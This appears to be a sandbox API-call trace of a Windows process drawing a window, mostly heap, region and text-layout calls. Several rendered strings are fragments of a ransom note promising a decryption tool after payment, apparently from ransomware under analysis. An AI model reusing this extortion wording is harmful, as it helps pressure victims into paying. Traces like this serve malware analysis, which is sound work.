[0103.627] IntersectRect (in: lprcDst=0x4967b8, lprcSrc1=0x4967b8, lprcSrc2=0x1c8f6c | out: lprcDst=0x4967b8) returned 1
[0103.627] GetDeviceCaps (hdc=0x90101e7, index=2) returned 1
[0103.627] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0103.627] SetTextAlign (hdc=0x90101e7, align=0x0) returned 0x0
[0103.627] LsSetDoc () returned 0x0
[0103.628] LsCreateLine () returned 0x0
[0103.628] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.628] LsDisplayLine () returned 0x0
[0103.628] SelectObject (hdc=0x90101e7, h=0x60a0200) returned 0x18a002e
[0103.628] SetTextColor (hdc=0x90101e7, color=0x2000000) returned 0x2000000
[0103.628] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0103.628] GetTextAlign (hdc=0x90101e7) returned 0x0
[0103.628] SetTextAlign (hdc=0x90101e7, align=0x18) returned 0x0
[0103.628] _CIatan2 () returned 0x20
[0103.628] _CIatan2 () returned 0x20
[0103.628] ExtTextOutW (hdc=0x90101e7, x=32, y=71, options=0x4, lprect=0x1c8160, lpString="Free decryption as guaranteeeed 1MB. n valuable information. n how fast you write to us. After payment we will send you the decryption tool that will decrypt all your files. ", c=0x1c, lpDx=0x1c8198) returned 1
[0103.628] SetTextAlign (hdc=0x90101e7, align=0x0) returned 0x18
[0103.628] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.628] LsDestroyLine () returned 0x0
[0103.628] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.628] SelectObject (hdc=0x90101e7, h=0x18a002e) returned 0x60a0200
[0103.629] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.629] BitBlt (hdc=0x330107bc, x=0, y=302, cx=1324, cy=150, hdcSrc=0x90101e7, x1=0, y1=0, rop=0xcc0020) returned 1
[0103.629] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x49d7b8 | out: hHeap=0x450000) returned 1
[0103.629] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x44) returned 0x49d7b8
[0103.629] IntersectRect (in: lprcDst=0x1c9eec, lprcSrc1=0x1c9eec, lprcSrc2=0x1c9ebc | out: lprcDst=0x1c9eec) returned 1
[0103.629] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.629] IntersectRect (in: lprcDst=0x4967b8, lprcSrc1=0x4967b8, lprcSrc2=0x1c9dc0 | out: lprcDst=0x4967b8) returned 1
[0103.629] IntersectRect (in: lprcDst=0x1c9dc0, lprcSrc1=0x1c9dc0, lprcSrc2=0x4967c8 | out: lprcDst=0x1c9dc0) returned 1
[0103.629] GetDeviceCaps (hdc=0x90101e7, index=2) returned 1
[0103.629] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x30) returned 0x4b2cd0
[0103.629] ExtCreateRegion (lpx=0x0, nCount=0x30, lpData=0x4b2cd0) returned 0x13040259
[0103.629] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b2cd0 | out: hHeap=0x450000) returned 1
[0103.629] SelectClipRgn (hdc=0x90101e7, hrgn=0x13040259) returned 2
[0103.629] DeleteObject (ho=0x13040259) returned 1
[0103.630] SelectObject (hdc=0x90101e7, h=0x51007c0) returned 0x1900010
[0103.630] PatBlt (hdc=0x90101e7, x=2, y=0, w=1303, h=150, rop=0xf00021) returned 1
[0103.630] SelectObject (hdc=0x90101e7, h=0x1900010) returned 0x51007c0
[0103.630] IntersectRect (in: lprcDst=0x4967b8, lprcSrc1=0x4967b8, lprcSrc2=0x1c9edc | out: lprcDst=0x4967b8) returned 1
[0103.630] IntersectRect (in: lprcDst=0x4967b8, lprcSrc1=0x4967b8, lprcSrc2=0x1c9efc | out: lprcDst=0x4967b8) returned 1
[0103.630] IntersectRect (in: lprcDst=0x1c9a88, lprcSrc1=0x1c9a88, lprcSrc2=0x1c9a58 | out: lprcDst=0x1c9a88) returned 1
[0103.630] IntersectRect (in: lprcDst=0x496840, lprcSrc1=0x496840, lprcSrc2=0x1c9a78 | out: lprcDst=0x496840) returned 1
[0103.630] IntersectRect (in: lprcDst=0x1c9bb4, lprcSrc1=0x1c9bb4, lprcSrc2=0x1c9b84 | out: lprcDst=0x1c9bb4) returned 1
[0103.630] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.630] IntersectRect (in: lprcDst=0x1c9a98, lprcSrc1=0x1c9a98, lprcSrc2=0x4967c8 | out: lprcDst=0x1c9a98) returned 0
[0103.630] IntersectRect (in: lprcDst=0x4967b8, lprcSrc1=0x4967b8, lprcSrc2=0x1c9a88 | out: lprcDst=0x4967b8) returned 1
[0103.630] IntersectRect (in: lprcDst=0x1c9a88, lprcSrc1=0x1c9a88, lprcSrc2=0x4967c8 | out: lprcDst=0x1c9a88) returned 1
[0103.630] GetDeviceCaps (hdc=0x90101e7, index=2) returned 1
[0103.630] IntersectRect (in: lprcDst=0x1c9884, lprcSrc1=0x1cf1ec, lprcSrc2=0x1c9884 | out: lprcDst=0x1c9884) returned 1
[0103.630] SelectObject (hdc=0x90101e7, h=0x1110020a) returned 0x1900010
[0103.630] GetStockObject (i=8) returned 0x1b00016
[0103.630] SelectObject (hdc=0x90101e7, h=0x1b00016) returned 0x1b00016
[0103.630] GetROP2 (hdc=0x90101e7) returned 13
[0103.630] SetBkMode (hdc=0x90101e7, mode=2) returned 1
[0103.630] Rectangle (hdc=0x90101e7, left=2, top=0, right=1306, bottom=151) returned 1
[0103.630] SetBkMode (hdc=0x90101e7, mode=1) returned 2
[0103.631] SelectObject (hdc=0x90101e7, h=0x1b00016) returned 0x1b00016
[0103.631] SelectObject (hdc=0x90101e7, h=0x1900010) returned 0x1110020a
[0103.631] IntersectRect (in: lprcDst=0x4967b8, lprcSrc1=0x4967b8, lprcSrc2=0x1c9ba4 | out: lprcDst=0x4967b8) returned 1
[0103.631] IntersectRect (in: lprcDst=0x4967b8, lprcSrc1=0x4967b8, lprcSrc2=0x1c9bc4 | out: lprcDst=0x4967b8) returned 1
[0103.631] IntersectRect (in: lprcDst=0x1c9720, lprcSrc1=0x1c9720, lprcSrc2=0x1c96b0 | out: lprcDst=0x1c9720) returned 1
[0103.631] IntersectRect (in: lprcDst=0x496840, lprcSrc1=0x496840, lprcSrc2=0x1c9740 | out: lprcDst=0x496840) returned 1
[0103.631] IntersectRect (in: lprcDst=0x1c984c, lprcSrc1=0x1c984c, lprcSrc2=0x1c975c | out: lprcDst=0x1c984c) returned 1
[0103.631] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.631] IntersectRect (in: lprcDst=0x4967b8, lprcSrc1=0x4967b8, lprcSrc2=0x1c986c | out: lprcDst=0x4967b8) returned 1
[0103.631] IntersectRect (in: lprcDst=0x1c984c, lprcSrc1=0x1c984c, lprcSrc2=0x1c975c | out: lprcDst=0x1c984c) returned 1
[0103.631] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.631] IntersectRect (in: lprcDst=0x4967b8, lprcSrc1=0x4967b8, lprcSrc2=0x1c986c | out: lprcDst=0x4967b8) returned 1
[0103.631] IntersectRect (in: lprcDst=0x4967b8, lprcSrc1=0x4967b8, lprcSrc2=0x1c988c | out: lprcDst=0x4967b8) returned 1
[0103.631] IntersectRect (in: lprcDst=0x1c938c, lprcSrc1=0x1c938c, lprcSrc2=0x1c9240 | out: lprcDst=0x1c938c) returned 1
[0103.631] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.631] IntersectRect (in: lprcDst=0x4967b8, lprcSrc1=0x4967b8, lprcSrc2=0x1c938c | out: lprcDst=0x4967b8) returned 1
[0103.631] IntersectRect (in: lprcDst=0x1c92f0, lprcSrc1=0x1c92f0, lprcSrc2=0x4967c8 | out: lprcDst=0x1c92f0) returned 1
[0103.631] IntersectRect (in: lprcDst=0x4967b8, lprcSrc1=0x4967b8, lprcSrc2=0x1c92a4 | out: lprcDst=0x4967b8) returned 1
[0103.631] GetDeviceCaps (hdc=0x90101e7, index=2) returned 1
[0103.631] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0103.632] LsGetRubyLsimethods () returned 0x0
[0103.632] LsGetTatenakayokoLsimethods () returned 0x0
[0103.632] LsGetHihLsimethods () returned 0x0
[0103.632] LsGetWarichuLsimethods () returned 0x0
[0103.632] LsGetReverseLsimethods () returned 0x0
[0103.632] LsCreateContext () returned 0x0
[0103.632] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x670) returned 0x503268
[0103.632] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6978
[0103.632] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x110) returned 0x4972e0
[0103.632] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6948
[0103.632] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x2e4) returned 0x5029b0
[0103.632] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x20) returned 0x5013a0
[0103.632] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x20) returned 0x501378
[0103.632] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xa0) returned 0x4c7d10
[0103.632] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x40) returned 0x503cf0
[0103.632] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x20) returned 0x501210
[0103.632] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x20) returned 0x5011e8
[0103.632] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x20) returned 0x5011c0
[0103.633] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x20) returned 0x501328
[0103.633] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x400) returned 0x5004d0
[0103.633] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x8) returned 0x4bd810
[0103.633] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x8) returned 0x4bd830
[0103.633] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x8) returned 0x4bd840
[0103.633] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x8) returned 0x4bd820
[0103.633] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x128) returned 0x48b598
[0103.633] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x11c) returned 0x4954a0
[0103.633] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x108) returned 0x4f1678
[0103.633] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x130) returned 0x4e1f50
[0103.633] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x110) returned 0x500fc8
[0103.634] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x278) returned 0x5008d8
[0103.634] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xc8) returned 0x502ca0
[0103.634] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x190) returned 0x502d70
[0103.634] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x78) returned 0x462cf0
[0103.634] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xf0) returned 0x4f2fe8
[0103.634] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x4c) returned 0x497f80
[0103.634] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x194) returned 0x508e08
[0103.634] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xc8) returned 0x508fa8
[0103.634] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x190) returned 0x509078
[0103.634] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x108) returned 0x4f1790
[0103.634] LsSetModWidthPairs () returned 0x0
[0103.634] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x240) returned 0x509210
[0103.634] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x18) returned 0x4bc160
[0103.634] IsRectEmpty (lprc=0x1c8af4) returned 0
[0103.634] IsRectEmpty (lprc=0x1c8af4) returned 0
[0103.635] IsRectEmpty (lprc=0x1c8af4) returned 0
[0103.635] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x40) returned 0x503d38
[0103.635] IsRectEmpty (lprc=0x1c8af4) returned 0
[0103.635] IsRectEmpty (lprc=0x1c8af4) returned 0
[0103.635] IsRectEmpty (lprc=0x1c8af4) returned 0
[0103.635] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.635] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.635] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.635] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.635] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.635] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.635] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.635] IsRectEmpty (lprc=0x503d48) returned 0
[0103.636] IsRectEmpty (lprc=0x503d58) returned 0
[0103.636] IntersectRect (in: lprcDst=0x1c8c3c, lprcSrc1=0x1c8ef8, lprcSrc2=0x1c8c3c | out: lprcDst=0x1c8c3c) returned 1
[0103.636] IsRectEmpty (lprc=0x1c8c3c) returned 0
[0103.636] IntersectRect (in: lprcDst=0x1c8b8c, lprcSrc1=0x1cf1ec, lprcSrc2=0x1c8b8c | out: lprcDst=0x1c8b8c) returned 1
[0103.636] SelectObject (hdc=0x90101e7, h=0xe1001e8) returned 0x1900010
[0103.636] GetStockObject (i=8) returned 0x1b00016
[0103.636] SelectObject (hdc=0x90101e7, h=0x1b00016) returned 0x1b00016
[0103.636] GetROP2 (hdc=0x90101e7) returned 13
[0103.636] SetBkMode (hdc=0x90101e7, mode=2) returned 1
[0103.636] Rectangle (hdc=0x90101e7, left=12, top=0, right=1296, bottom=51) returned 1
[0103.636] SetBkMode (hdc=0x90101e7, mode=1) returned 2
[0103.636] SelectObject (hdc=0x90101e7, h=0x1b00016) returned 0x1b00016
[0103.636] SelectObject (hdc=0x90101e7, h=0x1900010) returned 0xe1001e8
[0103.636] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x30) returned 0x4b2cd0
[0103.637] ExtCreateRegion (lpx=0x0, nCount=0x30, lpData=0x4b2cd0) returned 0x14040259
[0103.637] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b2cd0 | out: hHeap=0x450000) returned 1
[0103.637] SelectClipRgn (hdc=0x90101e7, hrgn=0x14040259) returned 2
[0103.637] DeleteObject (ho=0x14040259) returned 1
[0103.637] _CIsqrt () returned 0x3f1a027f
[0103.637] _CIsqrt () returned 0x3f1a027f
[0103.637] _CIatan2 () returned 0x20
[0103.637] _CIatan2 () returned 0x20
[0103.637] GetStockObject (i=8) returned 0x1b00016
[0103.637] SelectObject (hdc=0x90101e7, h=0x1b00016) returned 0x1b00016
[0103.637] GetViewportOrgEx (in: hdc=0x90101e7, lppoint=0x1c8aac | out: lppoint=0x1c8aac) returned 1
[0103.637] SelectObject (hdc=0x90101e7, h=0x61001e2) returned 0x1900010
[0103.637] UnrealizeObject (h=0x61001e2) returned 1
[0103.637] SetBrushOrgEx (in: hdc=0x90101e7, x=12, y=-438, lppt=0x0 | out: lppt=0x0) returned 1
[0103.637] MulDiv (nNumber=0, nNumerator=10, nDenominator=10) returned 0
[0103.637] MulDiv (nNumber=0, nNumerator=0, nDenominator=10) returned 0
[0103.637] MulDiv (nNumber=0, nNumerator=0, nDenominator=10) returned 0
[0103.637] MulDiv (nNumber=0, nNumerator=10, nDenominator=10) returned 0
[0103.637] Polygon (hdc=0x90101e7, apt=0x1c89d0, cpt=4) returned 1
[0103.637] SelectObject (hdc=0x90101e7, h=0x1900010) returned 0x61001e2
[0103.637] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.638] IsRectEmpty (lprc=0x1c8af4) returned 0
[0103.638] IsRectEmpty (lprc=0x1c8af4) returned 0
[0103.638] IsRectEmpty (lprc=0x1c8af4) returned 0
[0103.638] IsRectEmpty (lprc=0x1c8af4) returned 0
[0103.638] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.638] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.638] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.638] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.638] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.638] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.638] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.638] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.639] IsRectEmpty (lprc=0x1c8af4) returned 0
[0103.639] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.639] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.639] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.639] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.639] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.639] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.639] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.639] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.640] IsRectEmpty (lprc=0x1c8af4) returned 0
[0103.640] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.640] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.640] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.640] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.640] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.640] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.640] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.640] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.640] IsRectEmpty (lprc=0x1c8af4) returned 0
[0103.640] IsRectEmpty (lprc=0x1c8af4) returned 0
[0103.640] IsRectEmpty (lprc=0x1c8af4) returned 0
[0103.641] IsRectEmpty (lprc=0x1c8af4) returned 0
[0103.641] RtlReAllocateHeap (Heap=0x450000, Flags=0x0, Ptr=0x503d38, Size=0x60) returned 0x49ec48
[0103.641] IsRectEmpty (lprc=0x1c8af4) returned 0
[0103.641] IsRectEmpty (lprc=0x1c8af4) returned 0
[0103.641] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.641] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.641] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.641] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.641] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.641] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.641] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.641] IsRectEmpty (lprc=0x49ec58) returned 0
[0103.641] IsRectEmpty (lprc=0x49ec68) returned 0
[0103.641] IsRectEmpty (lprc=0x49ec78) returned 0
[0103.641] IsRectEmpty (lprc=0x49ec88) returned 0
[0103.641] IsRectEmpty (lprc=0x49ec98) returned 0
[0103.641] IntersectRect (in: lprcDst=0x1c8c3c, lprcSrc1=0x1c8ef8, lprcSrc2=0x1c8c3c | out: lprcDst=0x1c8c3c) returned 1
[0103.642] IsRectEmpty (lprc=0x1c8c3c) returned 0
[0103.642] IntersectRect (in: lprcDst=0x1c8b8c, lprcSrc1=0x1cf1ec, lprcSrc2=0x1c8b8c | out: lprcDst=0x1c8b8c) returned 1
[0103.642] SelectObject (hdc=0x90101e7, h=0xe1001e8) returned 0x1900010
[0103.642] GetStockObject (i=8) returned 0x1b00016
[0103.642] SelectObject (hdc=0x90101e7, h=0x1b00016) returned 0x1b00016
[0103.642] GetROP2 (hdc=0x90101e7) returned 13
[0103.642] SetBkMode (hdc=0x90101e7, mode=2) returned 1
[0103.642] Rectangle (hdc=0x90101e7, left=12, top=65, right=1296, bottom=151) returned 1
[0103.642] SetBkMode (hdc=0x90101e7, mode=1) returned 2
[0103.642] SelectObject (hdc=0x90101e7, h=0x1b00016) returned 0x1b00016
[0103.642] SelectObject (hdc=0x90101e7, h=0x1900010) returned 0xe1001e8
[0103.642] _CIsqrt () returned 0x3f1a027f
[0103.642] _CIsqrt () returned 0x3f1a027f
[0103.642] _CIatan2 () returned 0x20
[0103.642] _CIatan2 () returned 0x20
[0103.642] GetStockObject (i=8) returned 0x1b00016
[0103.642] SelectObject (hdc=0x90101e7, h=0x1b00016) returned 0x1b00016
[0103.643] GetViewportOrgEx (in: hdc=0x90101e7, lppoint=0x1c8aac | out: lppoint=0x1c8aac) returned 1
[0103.643] SelectObject (hdc=0x90101e7, h=0x61001e2) returned 0x1900010
[0103.643] UnrealizeObject (h=0x61001e2) returned 1
[0103.643] SetBrushOrgEx (in: hdc=0x90101e7, x=12, y=-439, lppt=0x0 | out: lppt=0x0) returned 1
[0103.643] MulDiv (nNumber=0, nNumerator=10, nDenominator=10) returned 0
[0103.643] MulDiv (nNumber=0, nNumerator=0, nDenominator=10) returned 0
[0103.643] MulDiv (nNumber=0, nNumerator=0, nDenominator=10) returned 0
[0103.643] MulDiv (nNumber=0, nNumerator=10, nDenominator=10) returned 0
[0103.643] Polygon (hdc=0x90101e7, apt=0x1c89d0, cpt=4) returned 1
[0103.643] SelectObject (hdc=0x90101e7, h=0x1900010) returned 0x61001e2
[0103.643] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.643] IsRectEmpty (lprc=0x1c8af4) returned 0
[0103.644] IsRectEmpty (lprc=0x1c8af4) returned 0
[0103.644] IsRectEmpty (lprc=0x1c8af4) returned 0
[0103.644] IsRectEmpty (lprc=0x1c8af4) returned 0
[0103.644] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.644] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.644] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.644] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.644] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.644] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.644] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.644] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.645] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x49ec48 | out: hHeap=0x450000) returned 1
[0103.645] SetTextAlign (hdc=0x90101e7, align=0x0) returned 0x0
[0103.645] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x30) returned 0x4b2cd0
[0103.645] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xa) returned 0x4baaf8
[0103.646] LsSetDoc () returned 0x0
[0103.646] LsCreateLine () returned 0x0
[0103.646] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.646] LsQueryLineDup () returned 0x0
[0103.646] LsQueryLineCpPpoint () returned 0x0
[0103.646] LsDisplayLine () returned 0x0
[0103.646] SelectObject (hdc=0x90101e7, h=0x30a01fd) returned 0x18a002e
[0103.646] SetTextColor (hdc=0x90101e7, color=0x2000000) returned 0x2000000
[0103.646] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0103.646] GetTextAlign (hdc=0x90101e7) returned 0x0
[0103.647] SetTextAlign (hdc=0x90101e7, align=0x18) returned 0x0
[0103.647] _CIsqrt () returned 0x3f1a027f
[0103.647] _CIsqrt () returned 0x3f1a027f
[0103.647] _CIatan2 () returned 0x20
[0103.647] _CIatan2 () returned 0x20
[0103.647] ExtTextOutA (hdc=0x90101e7, x=46, y=-1, options=0x4, lprect=0x1c8334, lpString="l", c=0x1, lpDx=0x1c8378) returned 1
[0103.647] SetTextAlign (hdc=0x90101e7, align=0x0) returned 0x18
[0103.647] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.647] LsDestroyLine () returned 0x0
[0103.647] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.647] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b2cd0 | out: hHeap=0x450000) returned 1
[0103.647] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4baaf8 | out: hHeap=0x450000) returned 1
[0103.647] LsSetDoc () returned 0x0
[0103.647] LsCreateLine () returned 0x0
[0103.647] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.648] LsDisplayLine () returned 0x0
[0103.648] SelectObject (hdc=0x90101e7, h=0x30a01ff) returned 0x30a01fd
[0103.648] SetTextColor (hdc=0x90101e7, color=0x2000000) returned 0x2000000
[0103.648] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0103.648] GetTextAlign (hdc=0x90101e7) returned 0x0
[0103.649] SetTextAlign (hdc=0x90101e7, align=0x18) returned 0x0
[0103.649] _CIatan2 () returned 0x20
[0103.649] _CIatan2 () returned 0x20
[0103.649] ExtTextOutW (hdc=0x90101e7, x=62, y=-1, options=0x4, lprect=0x1c8498, lpString="The file size should not exceed 1MB. n valuable information. n how fast you write to us. After payment we will send you the decryption tool that will decrypt all your files. ", c=0x24, lpDx=0x1c84d0) returned 1
[0103.649] SetTextAlign (hdc=0x90101e7, align=0x0) returned 0x18
[0103.649] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.649] SelectObject (hdc=0x90101e7, h=0x30a01ff) returned 0x30a01ff
[0103.649] SetTextColor (hdc=0x90101e7, color=0x2000000) returned 0x2000000
[0103.649] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0103.649] GetTextAlign (hdc=0x90101e7) returned 0x0
[0103.649] SetTextAlign (hdc=0x90101e7, align=0x18) returned 0x0
[0103.649] _CIatan2 () returned 0x20
[0103.650] _CIatan2 () returned 0x20
[0103.650] ExtTextOutW (hdc=0x90101e7, x=302, y=-1, options=0x4, lprect=0x1c8498, lpString=" n valuable information. n how fast you write to us. After payment we will send you the decryption tool that will decrypt all your files. ", c=0x1, lpDx=0x1c84d0) returned 1
[0103.650] SetTextAlign (hdc=0x90101e7, align=0x0) returned 0x18
